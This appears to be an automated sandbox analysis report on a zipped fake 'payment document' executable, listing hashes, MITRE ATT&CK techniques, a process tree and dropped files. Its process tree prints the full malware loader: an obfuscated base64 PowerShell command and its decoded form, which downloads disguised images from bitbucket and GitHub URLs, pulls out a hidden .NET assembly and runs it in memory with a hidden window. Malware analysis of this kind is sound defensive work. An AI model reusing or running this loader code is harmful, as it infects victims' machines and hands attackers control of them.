a3b3fb652d4e22fcbb1b29c46ce48761c915441e1b83ebf61e591610623b4670

General

Target

a3b3fb652d4e22fcbb1b29c46ce48761c915441e1b83ebf61e591610623b4670.zip
Size

107KB
MD5

568f5ff8a5884e1a59387105f85470b0
SHA1

bb532059d4fce8fc91851cea843b4186409d706c
SHA256

a3b3fb652d4e22fcbb1b29c46ce48761c915441e1b83ebf61e591610623b4670
SHA512

8f0ecd65dc3d9131d2d24600736a07acf70ced25e83f8c20b2bf0edc38afd1c889c18097793baeb248f93a73ded15e807104bf24a4f7a5067409dabd96e29385
SSDEEP

3072:Q1egkeFkCg78J+YCSii28tODZUB/mNAT4IGhrpJ:HgBkCg7vpmOK/1T4IGF

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2368	powershell.exe
6	2368	powershell.exe
8	2368	powershell.exe
9	2368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2596	powershell.exe
2368	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2212	Електронний платіжний документ.pdf.exe

Loads dropped DLL 2 IoCs

pid	Process
2624	7zFM.exe
1208	Process not Found

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Електронний платіжний документ.pdf.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
4	bitbucket.org
5	bitbucket.org
6	bitbucket.org
7	raw.githubusercontent.com
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2624	7zFM.exe
2596	powershell.exe
2368	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2624	7zFM.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeRestorePrivilege	2624	7zFM.exe
Token: 35	2624	7zFM.exe
Token: SeSecurityPrivilege	2624	7zFM.exe
Token: SeSecurityPrivilege	2624	7zFM.exe
Token: SeSecurityPrivilege	2624	7zFM.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2624	7zFM.exe
2624	7zFM.exe
2780	NOTEPAD.EXE
2624	7zFM.exe
2624	7zFM.exe
2624	7zFM.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 2780	2624	7zFM.exe	30
PID 2624 wrote to memory of 2780	2624	7zFM.exe	30
PID 2624 wrote to memory of 2780	2624	7zFM.exe	30
PID 2624 wrote to memory of 2212	2624	7zFM.exe	32
PID 2624 wrote to memory of 2212	2624	7zFM.exe	32
PID 2624 wrote to memory of 2212	2624	7zFM.exe	32
PID 2212 wrote to memory of 264	2212	Електронний платіжний документ.pdf.exe	33
PID 2212 wrote to memory of 264	2212	Електронний платіжний документ.pdf.exe	33
PID 2212 wrote to memory of 264	2212	Електронний платіжний документ.pdf.exe	33
PID 264 wrote to memory of 2152	264	cmd.exe	35
PID 264 wrote to memory of 2152	264	cmd.exe	35
PID 264 wrote to memory of 2152	264	cmd.exe	35
PID 2152 wrote to memory of 2596	2152	WScript.exe	36
PID 2152 wrote to memory of 2596	2152	WScript.exe	36
PID 2152 wrote to memory of 2596	2152	WScript.exe	36
PID 2596 wrote to memory of 2368	2596	powershell.exe	38
PID 2596 wrote to memory of 2368	2596	powershell.exe	38
PID 2596 wrote to memory of 2368	2596	powershell.exe	38

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\a3b3fb652d4e22fcbb1b29c46ce48761c915441e1b83ebf61e591610623b4670.zip"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zO04AF5D86\Код доступу 487093.txt
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:2780
- C:\Users\Admin\AppData\Local\Temp\7zO04A79C57\Електронний платіжний документ.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO04A79C57\Електронний платіжний документ.pdf.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\cmd.exe
    cmd.exe /c 6768b68edd946.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:264
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6768b68edd946.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2152
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$EM$bwBt$G0$YQBu$GQ$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$FM$dQBi$HM$d$By$Gk$bgBn$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Cw$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$QwBv$G4$dgBl$HI$d$Bd$Do$OgBG$HI$bwBt$EI$YQBz$GU$Ng$0$FM$d$By$Gk$bgBn$Cg$J$Bi$GE$cwBl$DY$N$BD$G8$bQBt$GE$bgBk$Ck$Ow$g$C$$I$$k$HQ$ZQB4$HQ$I$$9$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$Ow$g$CQ$b$Bv$GE$Z$Bl$GQ$QQBz$HM$ZQBt$GI$b$B5$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBS$GU$ZgBs$GU$YwB0$Gk$bwBu$C4$QQBz$HM$ZQBt$GI$b$B5$F0$Og$6$Ew$bwBh$GQ$K$$k$GM$bwBt$G0$YQBu$GQ$QgB5$HQ$ZQBz$Ck$Ow$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$c$By$GU$cwBz$GU$Z$BC$Hk$d$Bl$EE$cgBy$GE$eQ$g$D0$I$BH$GU$d$$t$EM$bwBt$H$$cgBl$HM$cwBl$GQ$QgB5$HQ$ZQBB$HI$cgBh$Hk$I$$t$GI$eQB0$GU$QQBy$HI$YQB5$C$$J$Bl$G4$YwBU$GU$e$B0$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$EU$bgBj$G8$Z$Bl$GQ$V$Bl$Hg$d$$g$D0$WwBD$G8$bgB2$GU$cgB0$F0$Og$6$FQ$bwBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$G0$ZQB0$Gg$bwBk$C$$PQ$g$CQ$d$B5$H$$ZQ$u$Ec$ZQB0$E0$ZQB0$Gg$bwBk$Cg$JwBs$GY$cwBn$GU$Z$Bk$GQ$Z$Bk$GQ$Z$Bh$Cc$KQ$u$Ek$bgB2$G8$awBl$Cg$J$Bu$HU$b$Bs$Cw$I$Bb$G8$YgBq$GU$YwB0$Fs$XQBd$C$$K$$n$C$$d$B4$HQ$LgBp$EY$aQBB$Gk$agBG$C8$cwBk$GE$bwBs$G4$dwBv$GQ$LwBz$GY$dwBx$GU$cQB3$C8$d$B3$HE$ZQB3$HE$ZQ$v$Gc$cgBv$C4$d$Bl$Gs$YwB1$GI$d$Bp$GI$Jw$s$C$$Jw$w$Cc$L$$g$Cc$UwB0$GE$cgB0$HU$c$BO$GE$bQBl$Cc$L$$g$Cc$TQBz$GI$dQBp$Gw$Z$$n$Cw$I$$n$D$$Jw$p$Ck$fQB9$$==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('$','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2596
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.iFiAijF/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7zO04AF5D86\Код доступу 487093.txt

Filesize
156B

MD5
fd1daeef7beefe1e17e508703455b1b3

SHA1
ddc62458d93c930f9e25ab192cf2d59e30a73176

SHA256
19b72cc74855b9fc6597fe110c074c0ae1654e43968eed6567844e88555eadd5

SHA512
5f7addf5fe2dd4cd191b64134452cf2f6fd3879aa27f871fc125652732beb3ce1a89ed92a723c62a218a59b3a69a565dbf1af646743ff77f5a7cd30dc2e41930

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6768b68edd946.vbs

Filesize
15KB

MD5
e91de53bad8e8c706ebde12a8671b8c3

SHA1
71d49ddcf882f0558b6f4fbcf0e58fdc6d047593

SHA256
abbdbaf16f1b8cf2809f7cca771ac92ca1733e206ce8850fc07c0f0579c24b10

SHA512
d7c1b5859b65997bceec93dca36385c17c251743c82cae76876fcc38206f82171c455ad2d404639a31a0b4fc27e3b7a82a3c32052c992fd55d96c91d378411d1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
22c6798e9c33e1fdf8c6614e8f9a10ad

SHA1
4b5bca67a8c666f9dfe1075ff81d13494c3a077d

SHA256
c94c6f5a5110a488969b2efae2575e3e8bc79a35f95a9073815069bf909e0008

SHA512
d3ee6733d296e1dc9c5216b3b54b619fa415da3c025e19651980811451b997ce206eeacc71f88392eb3e53443eaf904108b5cf6eb766d3d07a3328b673f11216

Download Submit
\Users\Admin\AppData\Local\Temp\7zO04A79C57\Електронний платіжний документ.pdf.exe

Filesize
159KB

MD5
7070f4f3af9ebc5619d62c1fcba6113d

SHA1
7176ce3982b651d04c4cf1b171bf930ea5a72ceb

SHA256
316d5c59f698a69c054680ba57b029da7fb3d947f652d0a8461a0503da27c1fb

SHA512
9bd6dc4b1ac830d42ad0aa15b7bb5df172fc56126b624abf5c7351276b6eb283f347a046f17b28ddbf9d0d787e94c2915b1db0a99e4058297fc6bdd4035e13f1

Download Submit
memory/2596-48-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2596-49-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads